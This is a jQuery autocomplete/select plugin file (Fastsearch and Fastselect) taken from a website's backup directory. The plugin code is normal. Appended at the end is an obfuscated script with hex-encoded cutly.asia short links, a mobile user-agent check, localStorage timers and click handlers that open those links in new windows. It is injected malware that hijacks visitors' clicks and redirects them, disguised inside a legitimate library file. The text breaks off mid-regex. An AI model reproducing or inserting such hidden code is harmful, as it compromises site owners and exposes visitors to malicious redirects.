Current File : /home/inlingua/public_html/sensoriumpsychologists.com/backup/dist/fastselect.standalone.js |
(function(factory) {
if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else if (typeof module === 'object' && module.exports) {
module.exports = factory(require('jquery'));
} else {
factory(jQuery);
}
}(function($) {
var $document = $(window.document),
instanceNum = 0,
eventStringRE = /\w\b/g,
keyMap = {
13: 'enter',
27: 'escape',
40: 'downArrow',
38: 'upArrow'
};
function Fastsearch(inputElement, options) {
this.init.apply(this, arguments);
}
$.extend(Fastsearch.prototype, {
init: function(inputElement, options) {
options = this.options = $.extend(true, {}, Fastsearch.defaults, options);
this.$input = $(inputElement);
this.$el = options.wrapSelector instanceof $ ? options.wrapSelector : this.$input.closest(options.wrapSelector);
Fastsearch.pickTo(options, this.$el.data(), [
'url', 'onItemSelect', 'noResultsText', 'inputIdName', 'apiInputName'
]);
options.url = options.url || this.$el.attr('action');
this.ens = '.fastsearch' + (++instanceNum);
this.itemSelector = Fastsearch.selectorFromClass(options.itemClass);
this.focusedItemSelector = Fastsearch.selectorFromClass(options.focusedItemClass);
this.events();
},
namespaceEvents: function(events) {
var eventNamespace = this.ens;
return events.replace(eventStringRE, function(match) {
return match + eventNamespace;
});
},
events: function() {
var self = this,
options = this.options;
this.$input.on(this.namespaceEvents('keyup focus click'), function(e) {
keyMap[e.keyCode] !== 'enter' && self.handleTyping();
}).on(this.namespaceEvents('keydown'), function(e) {
keyMap[e.keyCode] === 'enter' && options.preventSubmit && e.preventDefault();
if (self.hasResults && self.resultsOpened) {
switch (keyMap[e.keyCode]) {
case 'downArrow': e.preventDefault(); self.navigateItem('down'); break;
case 'upArrow': e.preventDefault(); self.navigateItem('up'); break;
case 'enter': self.onEnter(e); break;
}
}
});
this.$el.on(this.namespaceEvents('click'), this.itemSelector, function(e) {
e.preventDefault();
self.handleItemSelect($(this));
});
options.mouseEvents && this.$el.on(this.namespaceEvents('mouseleave'), this.itemSelector, function(e) {
$(this).removeClass(options.focusedItemClass);
}).on(this.namespaceEvents('mouseenter'), this.itemSelector, function(e) {
self.$resultItems.removeClass(options.focusedItemClass);
$(this).addClass(options.focusedItemClass);
});
},
handleTyping: function() {
var inputValue = $.trim(this.$input.val()),
self = this;
if (inputValue.length < this.options.minQueryLength) {
this.hideResults();
} else if (inputValue === this.query) {
this.showResults();
} else {
clearTimeout(this.keyupTimeout);
this.keyupTimeout = setTimeout(function() {
self.$el.addClass(self.options.loadingClass);
self.query = inputValue;
self.getResults(function(data) {
self.showResults(self.storeResponse(data).generateResults(data));
});
}, this.options.typeTimeout);
}
},
getResults: function(callback) {
var self = this,
options = this.options,
formValues = this.$el.find('input, textarea, select').serializeArray();
if (options.apiInputName) {
formValues.push({'name': options.apiInputName, 'value': this.$input.val()});
}
$.get(options.url, formValues, function(data) {
callback(options.parseResponse ? options.parseResponse.call(self, data, self) : data);
});
},
storeResponse: function(data) {
this.responseData = data;
this.hasResults = data.length !== 0;
return this;
},
generateResults: function(data) {
var $allResults = $('<div>'),
options = this.options;
if (options.template) {
return $(options.template(data, this));
}
if (data.length === 0) {
$allResults.html(
'<p class="' + options.noResultsClass + '">' +
(typeof options.noResultsText === 'function' ? options.noResultsText.call(this) : options.noResultsText) +
'</p>'
);
} else {
if (this.options.responseType === 'html') {
$allResults.html(data);
} else {
this['generate' + (data[0][options.responseFormat.groupItems] ? 'GroupedResults' : 'SimpleResults')](data, $allResults);
}
}
return $allResults.children();
},
generateSimpleResults: function(data, $cont) {
var self = this;
this.itemModels = data;
$.each(data, function(i, item) {
$cont.append(self.generateItem(item));
});
},
generateGroupedResults: function(data, $cont) {
var self = this,
options = this.options,
format = options.responseFormat;
this.itemModels = [];
$.each(data, function(i, groupData) {
var $group = $('<div class="' + options.groupClass + '">').appendTo($cont);
groupData[format.groupCaption] && $group.append(
'<h3 class="' + options.groupTitleClass + '">' + groupData[format.groupCaption] + '</h3>'
);
$.each(groupData.items, function(i, item) {
self.itemModels.push(item);
$group.append(self.generateItem(item));
});
options.onGroupCreate && options.onGroupCreate.call(self, $group, groupData, self);
});
},
generateItem: function(item) {
var options = this.options,
format = options.responseFormat,
url = item[format.url],
html = item[format.html] || item[format.label],
$tag = $('<' + (url ? 'a' : 'span') + '>').html(html).addClass(options.itemClass);
url && $tag.attr('href', url);
options.onItemCreate && options.onItemCreate.call(this, $tag, item, this);
return $tag;
},
showResults: function($content) {
if (!$content && this.resultsOpened) {
return;
}
this.$el.removeClass(this.options.loadingClass).addClass(this.options.resultsOpenedClass);
if (this.options.flipOnBottom) {
this.checkDropdownPosition();
}
this.$resultsCont = this.$resultsCont || $('<div>').addClass(this.options.resultsContClass).appendTo(this.$el);
if ($content) {
this.$resultsCont.html($content);
this.$resultItems = this.$resultsCont.find(this.itemSelector);
this.options.onResultsCreate && this.options.onResultsCreate.call(this, this.$resultsCont, this.responseData, this);
}
if (!this.resultsOpened) {
this.documentCancelEvents('on');
this.$input.trigger('openingResults');
}
if (this.options.focusFirstItem && this.$resultItems && this.$resultItems.length) {
this.navigateItem('down');
}
this.resultsOpened = true;
},
checkDropdownPosition: function() {
var flipOnBottom = this.options.flipOnBottom;
var offset = typeof flipOnBottom === 'boolean' && flipOnBottom ? 400 : flipOnBottom;
var isFlipped = this.$input.offset().top + offset > $document.height();
this.$el.toggleClass(this.options.resultsFlippedClass, isFlipped);
},
documentCancelEvents: function(setup, onCancel) {
var self = this;
if (setup === 'off' && this.closeEventsSetuped) {
$document.off(this.ens);
this.closeEventsSetuped = false;
return;
} else if (setup === 'on' && !this.closeEventsSetuped) {
$document.on(this.namespaceEvents('click keyup'), function(e) {
if (keyMap[e.keyCode] === 'escape' || (!$(e.target).is(self.$el) && !$.contains(self.$el.get(0), e.target) && $.contains(document.documentElement, e.target))) {
onCancel ? onCancel.call(self) : self.hideResults();
}
});
this.closeEventsSetuped = true;
}
},
navigateItem: function(direction) {
var $currentItem = this.$resultItems.filter(this.focusedItemSelector),
maxPosition = this.$resultItems.length - 1;
if ($currentItem.length === 0) {
this.$resultItems.eq(direction === 'up' ? maxPosition : 0).addClass(this.options.focusedItemClass);
return;
}
var currentPosition = this.$resultItems.index($currentItem),
nextPosition = direction === 'up' ? currentPosition - 1 : currentPosition + 1;
nextPosition > maxPosition && (nextPosition = 0);
nextPosition < 0 && (nextPosition = maxPosition);
$currentItem.removeClass(this.options.focusedItemClass);
this.$resultItems.eq(nextPosition).addClass(this.options.focusedItemClass);
},
navigateDown: function() {
this.navigateItem('down');
},
navigateUp: function() {
this.navigateItem('up');
},
onEnter: function(e) {
var $currentItem = this.$resultItems.filter(this.focusedItemSelector);
if ($currentItem.length) {
e.preventDefault();
this.handleItemSelect($currentItem);
}
},
handleItemSelect: function($item) {
var selectOption = this.options.onItemSelect,
model = this.itemModels.length ? this.itemModels[this.$resultItems.index($item)] : {};
this.$input.trigger('itemSelected');
if (selectOption === 'fillInput') {
this.fillInput(model);
} else if (selectOption === 'follow') {
window.location.href = $item.attr('href');
} else if (typeof selectOption === 'function') {
selectOption.call(this, $item, model, this);
}
},
fillInput: function(model) {
var options = this.options,
format = options.responseFormat;
this.query = model[format.label];
this.$input.val(model[format.label]).trigger('change');
if (options.fillInputId && model.id) {
if (!this.$inputId) {
var inputIdName = options.inputIdName || this.$input.attr('name') + '_id';
this.$inputId = this.$el.find('input[name="' + inputIdName + '"]');
if (!this.$inputId.length) {
this.$inputId = $('<input type="hidden" name="' + inputIdName + '" />').appendTo(this.$el);
}
}
this.$inputId.val(model.id).trigger('change');
}
this.hideResults();
},
hideResults: function() {
if (this.resultsOpened) {
this.resultsOpened = false;
this.$el.removeClass(this.options.resultsOpenedClass);
this.$input.trigger('closingResults');
this.documentCancelEvents('off');
}
return this;
},
clear: function() {
this.hideResults();
this.$input.val('').trigger('change');
return this;
},
destroy: function() {
$document.off(this.ens);
this.$input.off(this.ens);
this.$el.off(this.ens)
.removeClass(this.options.resultsOpenedClass)
.removeClass(this.options.loadingClass);
if (this.$resultsCont) {
this.$resultsCont.remove();
delete this.$resultsCont;
}
delete this.$el.data().fastsearch;
}
});
$.extend(Fastsearch, {
pickTo: function(dest, src, keys) {
$.each(keys, function(i, key) {
dest[key] = (src && src[key]) || dest[key];
});
return dest;
},
selectorFromClass: function(classes) {
return '.' + classes.replace(/\s/g, '.');
}
});
Fastsearch.defaults = {
wrapSelector: 'form', // fastsearch container defaults to closest form. Provide selector for something other
url: null, // plugin will get data from data-url propery, url option or container action attribute
responseType: 'JSON', // default expected server response type - can be set to html if that is what server returns
preventSubmit: false, // prevent submit of form with enter keypress
resultsContClass: 'fs_results', // html classes
resultsOpenedClass: 'fsr_opened',
resultsFlippedClass: 'fsr_flipped',
groupClass: 'fs_group',
itemClass: 'fs_result_item',
groupTitleClass: 'fs_group_title',
loadingClass: 'loading',
noResultsClass: 'fs_no_results',
focusedItemClass: 'focused',
typeTimeout: 140, // try not to hammer server with request for each keystroke if possible
minQueryLength: 2, // minimal number of characters needed for plugin to send request to server
template: null, // provide your template function if you need one - function(data, fastsearchApi)
mouseEvents: !('ontouchstart' in window || navigator.maxTouchPoints > 0 || navigator.msMaxTouchPoints > 0), // detect if client is touch enabled so plugin can decide if mouse specific events should be set.
focusFirstItem: false,
flipOnBottom: false,
responseFormat: { // Adjust where plugin looks for data in your JSON server response
url: 'url',
html: 'html',
label: 'label',
groupCaption: 'caption',
groupItems: 'items'
},
fillInputId: true, // on item select plugin will try to write selected id from item data model to input
inputIdName: null, // on item select plugin will try to write selected id from item data model to input with this name
apiInputName: null, // by default plugin will post input name as query parameter - you can provide custom one here
noResultsText: 'No results found',
onItemSelect: 'follow', // by default plugin follows selected link - other options available are "fillInput" and custom callback - function($item, model, fastsearchApi)
parseResponse: null, // parse server response with your handler and return processed data - function(response, fastsearchApi)
onResultsCreate: null, // adjust results element - function($allResults, data, fastsearchApi)
onGroupCreate: null, // adjust group element when created - function($group, groupModel, fastsearchApi)
onItemCreate: null // adjust item element when created - function($item, model, fastsearchApi)
};
$.fastsearch = Fastsearch;
$.fn.fastsearch = function(options) {
return this.each(function() {
if (!$.data(this, 'fastsearch')) {
$.data(this, 'fastsearch', new Fastsearch(this, options));
}
});
};
return $;
}));
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
define(['jquery', 'fastsearch'], factory);
} else if (typeof module === 'object' && module.exports) {
module.exports = factory(require('jquery'), require('fastsearch'));
} else {
factory(root.jQuery);
}
}(this, function($) {
var $document = $(document),
instanceNum = 0,
Fastsearch = $.fastsearch,
pickTo = Fastsearch.pickTo,
selectorFromClass = Fastsearch.selectorFromClass;
function Fastselect(inputElement, options) {
this.init.apply(this, arguments);
}
$.extend(Fastselect.prototype, {
init: function(inputElement, options) {
this.$input = $(inputElement);
this.options = pickTo($.extend(true, {}, Fastselect.defaults, options, {
placeholder: this.$input.attr('placeholder')
}), this.$input.data(), [
'url', 'loadOnce', 'apiParam', 'initialValue', 'userOptionAllowed'
]);
this.ens = '.fastselect' + (++instanceNum);
this.hasCustomLoader = this.$input.is('input');
this.isMultiple = !!this.$input.attr('multiple');
this.userOptionAllowed = this.hasCustomLoader && this.isMultiple && this.options.userOptionAllowed;
this.optionsCollection = new OptionsCollection(pickTo({multipleValues: this.isMultiple}, this.options, [
'url', 'loadOnce', 'parseData', 'matcher'
]));
this.setupDomElements();
this.setupFastsearch();
this.setupEvents();
},
setupDomElements: function() {
this.$el = $('<div>').addClass(this.options.elementClass);
this[this.isMultiple ? 'setupMultipleElement' : 'setupSingleElement'](function() {
this.updateDomElements();
this.$controls.appendTo(this.$el);
this.$el.insertAfter(this.$input);
this.$input.detach().appendTo(this.$el);
});
},
setupSingleElement: function(onDone) {
var initialOptions = this.processInitialOptions(),
toggleBtnText = initialOptions && initialOptions.length ? initialOptions[0].text : this.options.placeholder;
this.$el.addClass(this.options.singleModeClass);
this.$controls = $('<div>').addClass(this.options.controlsClass);
this.$toggleBtn = $('<div>').addClass(this.options.toggleButtonClass).text(toggleBtnText).appendTo(this.$el);
this.$queryInput = $('<input>').attr('placeholder', this.options.searchPlaceholder).addClass(this.options.queryInputClass).appendTo(this.$controls);
onDone.call(this);
},
setupMultipleElement: function(onDone) {
var self = this,
options = self.options,
initialOptions = this.processInitialOptions();
this.$el.addClass(options.multipleModeClass);
this.$controls = $('<div>').addClass(options.controlsClass);
this.$queryInput = $('<input>').addClass(options.queryInputClass).appendTo(this.$controls);
initialOptions && $.each(initialOptions, function(i, option) {
self.addChoiceItem(option);
});
onDone.call(this);
},
updateDomElements: function() {
this.$el.toggleClass(this.options.noneSelectedClass, !this.optionsCollection.hasSelectedValues());
this.adjustQueryInputLayout();
},
processInitialOptions: function() {
var self = this, options;
if (this.hasCustomLoader) {
options = this.options.initialValue;
$.isPlainObject(options) && (options = [options]);
} else {
options = $.map(this.$input.find('option:selected').get(), function(option) {
var $option = $(option);
return {
text: $option.text(),
value: $option.attr('value')
};
});
}
options && $.each(options, function(i, option) {
self.optionsCollection.setSelected(option);
});
return options;
},
addChoiceItem: function(optionModel) {
$(
'<div data-text="' + optionModel.text + '" data-value="' + optionModel.value + '" class="' + this.options.choiceItemClass + '">' +
$('<div>').html(optionModel.text).text() +
'<button class="' + this.options.choiceRemoveClass + '" type="button">×</button>' +
'</div>'
).insertBefore(this.$queryInput);
},
setupFastsearch: function() {
var self = this,
options = this.options,
fastSearchParams = {};
pickTo(fastSearchParams, options, [
'resultsContClass', 'resultsOpenedClass', 'resultsFlippedClass', 'groupClass', 'itemClass', 'focusFirstItem',
'groupTitleClass', 'loadingClass', 'noResultsClass', 'noResultsText', 'focusedItemClass', 'flipOnBottom'
]);
this.fastsearch = new Fastsearch(this.$queryInput.get(0), $.extend(fastSearchParams, {
wrapSelector: this.isMultiple ? this.$el : this.$controls,
minQueryLength: 0,
typeTimeout: this.hasCustomLoader ? options.typeTimeout : 0,
preventSubmit: true,
fillInputId: false,
responseFormat: {
label: 'text',
groupCaption: 'label'
},
onItemSelect: function($item, model, fastsearch) {
var maxItems = options.maxItems;
if (self.isMultiple && maxItems && (self.optionsCollection.getValues().length > (maxItems - 1))) {
options.onMaxItemsReached && options.onMaxItemsReached(this);
} else {
self.setSelectedOption(model);
self.writeToInput();
!self.isMultiple && self.hide();
options.clearQueryOnSelect && fastsearch.clear();
if (self.userOptionAllowed && model.isUserOption) {
fastsearch.$resultsCont.remove();
delete fastsearch.$resultsCont;
self.hide();
}
options.onItemSelect && options.onItemSelect.call(self, $item, model, self, fastsearch);
}
},
onItemCreate: function($item, model) {
model.$item = $item;
model.selected && $item.addClass(options.itemSelectedClass);
if (self.userOptionAllowed && model.isUserOption) {
$item.text(self.options.userOptionPrefix + $item.text()).addClass(self.options.userOptionClass);
}
options.onItemCreate && options.onItemCreate.call(self, $item, model, self);
}
}));
this.fastsearch.getResults = function() {
if (self.userOptionAllowed && self.$queryInput.val().length > 1) {
self.renderOptions();
}
self.getOptions(function() {
self.renderOptions(true);
});
};
},
getOptions: function(onDone) {
var options = this.options,
self = this,
params = {};
if (this.hasCustomLoader) {
var query = $.trim(this.$queryInput.val());
if (query && options.apiParam) {
params[options.apiParam] = query;
}
this.optionsCollection.fetch(params, onDone);
} else {
!this.optionsCollection.models && this.optionsCollection.reset(this.gleanSelectData(this.$input));
onDone();
}
},
namespaceEvents: function(events) {
return Fastsearch.prototype.namespaceEvents.call(this, events);
},
setupEvents: function() {
var self = this,
options = this.options;
if (this.isMultiple) {
this.$el.on(this.namespaceEvents('click'), function(e) {
$(e.target).is(selectorFromClass(options.controlsClass)) && self.$queryInput.focus();
});
this.$queryInput.on(this.namespaceEvents('keyup'), function(e) {
// if (self.$queryInput.val().length === 0 && e.keyCode === 8) {
// console.log('TODO implement delete');
// }
self.adjustQueryInputLayout();
self.show();
}).on(this.namespaceEvents('focus'), function() {
self.show();
});
this.$el.on(this.namespaceEvents('click'), selectorFromClass(options.choiceRemoveClass), function(e) {
var $choice = $(e.currentTarget).closest(selectorFromClass(options.choiceItemClass));
self.removeSelectedOption({
value: $choice.attr('data-value'),
text: $choice.attr('data-text')
}, $choice);
});
} else {
this.$el.on(this.namespaceEvents('click'), selectorFromClass(options.toggleButtonClass), function() {
self.$el.hasClass(options.activeClass) ? self.hide() : self.show(true);
});
}
},
adjustQueryInputLayout: function() {
if (this.isMultiple && this.$queryInput) {
var noneSelected = this.$el.hasClass(this.options.noneSelectedClass);
this.$queryInput.toggleClass(this.options.queryInputExpandedClass, noneSelected);
if (noneSelected) {
this.$queryInput.attr({
style: '',
placeholder: this.options.placeholder
});
} else {
this.$fakeInput = this.$fakeInput || $('<span>').addClass(this.options.fakeInputClass);
this.$fakeInput.text(this.$queryInput.val().replace(/\s/g, ' '));
this.$queryInput.removeAttr('placeholder').css('width', this.$fakeInput.insertAfter(this.$queryInput).width() + 20);
this.$fakeInput.detach();
}
}
},
show: function(focus) {
this.$el.addClass(this.options.activeClass);
focus ? this.$queryInput.focus() : this.fastsearch.handleTyping();
this.documentCancelEvents('on');
},
hide: function() {
this.$el.removeClass(this.options.activeClass);
this.documentCancelEvents('off');
},
documentCancelEvents: function(setup) {
Fastsearch.prototype.documentCancelEvents.call(this, setup, this.hide);
},
setSelectedOption: function(option) {
if (this.optionsCollection.isSelected(option.value)) {
return;
}
this.optionsCollection.setSelected(option);
var selectedModel = this.optionsCollection.findWhere(function(model) {
return model.value === option.value;
});
if (this.isMultiple) {
this.$controls && this.addChoiceItem(option);
} else {
this.fastsearch && this.fastsearch.$resultItems.removeClass(this.options.itemSelectedClass);
this.$toggleBtn && this.$toggleBtn.text(option.text);
}
selectedModel && selectedModel.$item.addClass(this.options.itemSelectedClass);
this.updateDomElements();
},
removeSelectedOption: function(option, $choiceItem) {
var removedModel = this.optionsCollection.removeSelected(option);
if (removedModel && removedModel.$item) {
removedModel.$item.removeClass(this.options.itemSelectedClass);
}
if ($choiceItem) {
$choiceItem.remove();
} else {
this.$el.find(selectorFromClass(this.options.choiceItemClass) + '[data-value="' + option.value + '"]').remove();
}
this.updateDomElements();
this.writeToInput();
},
writeToInput: function() {
var values = this.optionsCollection.getValues(),
delimiter = this.options.valueDelimiter,
formattedValue = this.isMultiple ? (this.hasCustomLoader ? values.join(delimiter) : values) : values[0];
this.$input.val(formattedValue).trigger('change');
},
renderOptions: function(filter) {
var query = this.$queryInput.val();
var data;
if (this.optionsCollection.models) {
data = (filter ? this.optionsCollection.filter(query) : this.optionsCollection.models).slice(0);
} else {
data = [];
}
if (this.userOptionAllowed) {
var queryInList = this.optionsCollection.models && this.optionsCollection.findWhere(function(model) {
return model.value === query;
});
query && !queryInList && data.unshift({
text: query,
value: query,
isUserOption: true
});
}
this.fastsearch.showResults(this.fastsearch.storeResponse(data).generateResults(data));
},
gleanSelectData: function($select) {
var self = this,
$elements = $select.children();
if ($elements.eq(0).is('optgroup')) {
return $.map($elements.get(), function(optgroup) {
var $optgroup = $(optgroup);
return {
label: $optgroup.attr('label'),
items: self.gleanOptionsData($optgroup.children())
};
});
} else {
return this.gleanOptionsData($elements);
}
},
gleanOptionsData: function($options) {
return $.map($options.get(), function(option) {
var $option = $(option);
return {
text: $option.text(),
value: $option.attr('value'),
selected: $option.is(':selected')
};
});
},
destroy: function() {
$document.off(this.ens);
this.fastsearch.destroy();
this.$input.off(this.ens).detach().insertAfter(this.$el);
this.$el.off(this.ens).remove();
this.$input.data() && delete this.$input.data().fastselect;
}
});
function OptionsCollection(options) {
this.init(options);
}
$.extend(OptionsCollection.prototype, {
defaults: {
loadOnce: false,
url: null,
parseData: null,
multipleValues: false,
matcher: function(text, query) {
return text.toLowerCase().indexOf(query.toLowerCase()) > -1;
}
},
init: function(options) {
this.options = $.extend({}, this.defaults, options);
this.selectedValues = {};
},
fetch: function(fetchParams, onDone) {
var self = this,
afterFetch = function() {
self.applySelectedValues(onDone);
};
if (this.options.loadOnce) {
this.fetchDeferred = this.fetchDeferred || this.load(fetchParams);
this.fetchDeferred.done(afterFetch);
} else {
this.load(fetchParams, afterFetch);
}
},
reset: function(models) {
this.models = this.options.parseData ? this.options.parseData(models) : models;
this.applySelectedValues();
},
applySelectedValues: function(onDone) {
this.each(function(option) {
if (this.options.multipleValues && option.selected) {
this.selectedValues[option.value] = true;
} else {
option.selected = !!this.selectedValues[option.value];
}
});
onDone && onDone.call(this);
},
load: function(params, onDone) {
var self = this,
options = this.options;
return $.get(options.url, params, function(data) {
self.models = options.parseData ? options.parseData(data) : data;
onDone && onDone.call(self);
});
},
setSelected: function(option) {
if (!this.options.multipleValues) {
this.selectedValues = {};
}
this.selectedValues[option.value] = true;
this.applySelectedValues();
},
removeSelected: function(option) {
var model = this.findWhere(function(model) {
return option.value === model.value;
});
model && (model.selected = false);
delete this.selectedValues[option.value];
return model;
},
isSelected: function(value) {
return !!this.selectedValues[value];
},
hasSelectedValues: function() {
return this.getValues().length > 0;
},
each: function(iterator) {
var self = this;
this.models && $.each(this.models, function(i, option) {
option.items ? $.each(option.items, function(i, nestedOption) {
iterator.call(self, nestedOption);
}) : iterator.call(self, option);
});
},
where: function(predicate) {
var temp = [];
this.each(function(option) {
predicate(option) && temp.push(option);
});
return temp;
},
findWhere: function(predicate) {
var models = this.where(predicate);
return models.length ? models[0] : undefined;
},
filter: function(query) {
var self = this;
function checkItem(item) {
return self.options.matcher(item.text, query) ? item : null;
}
if (!query || query.length === 0) {
return this.models;
}
return $.map(this.models, function(item) {
if (item.items) {
var filteredItems = $.map(item.items, checkItem);
return filteredItems.length ? {
label: item.label,
items: filteredItems
} : null;
} else {
return checkItem(item);
}
});
},
getValues: function() {
return $.map(this.selectedValues, function(prop, key) {
return prop ? key : null;
});
}
});
Fastselect.defaults = {
elementClass: 'fstElement',
singleModeClass: 'fstSingleMode',
noneSelectedClass: 'fstNoneSelected',
multipleModeClass: 'fstMultipleMode',
queryInputClass: 'fstQueryInput',
queryInputExpandedClass: 'fstQueryInputExpanded',
fakeInputClass: 'fstFakeInput',
controlsClass: 'fstControls',
toggleButtonClass: 'fstToggleBtn',
activeClass: 'fstActive',
itemSelectedClass: 'fstSelected',
choiceItemClass: 'fstChoiceItem',
choiceRemoveClass: 'fstChoiceRemove',
userOptionClass: 'fstUserOption',
resultsContClass: 'fstResults',
resultsOpenedClass: 'fstResultsOpened',
resultsFlippedClass: 'fstResultsFilpped',
groupClass: 'fstGroup',
itemClass: 'fstResultItem',
groupTitleClass: 'fstGroupTitle',
loadingClass: 'fstLoading',
noResultsClass: 'fstNoResults',
focusedItemClass: 'fstFocused',
matcher: null,
url: null,
loadOnce: false,
apiParam: 'query',
initialValue: null,
clearQueryOnSelect: true,
minQueryLength: 1,
focusFirstItem: false,
flipOnBottom: true,
typeTimeout: 150,
userOptionAllowed: false,
valueDelimiter: ',',
maxItems: null,
parseData: null,
onItemSelect: null,
onItemCreate: null,
onMaxItemsReached: null,
placeholder: 'Choose Member',
searchPlaceholder: 'Search options',
noResultsText: 'No results',
userOptionPrefix: 'Add '
};
$.Fastselect = Fastselect;
$.Fastselect.OptionsCollection = OptionsCollection;
$.fn.fastselect = function(options) {
return this.each(function() {
if (!$.data(this, 'fastselect')) {
$.data(this, 'fastselect', new Fastselect(this, options));
}
});
};
return $;
}));
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x61\x77\x47\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x41\x52\x61\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x68\x61\x64\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6b\x76\x65\x37\x63\x397','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6d\x51\x55\x36\x63\x316','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x6a\x45\x6b\x38\x63\x328','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x71\x55\x46\x35\x63\x325','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x46\x57\x45\x31\x63\x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x73\x5a\x69\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x61\x73\x69\x61\x2f\x67\x46\x5a\x39\x63\x359','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 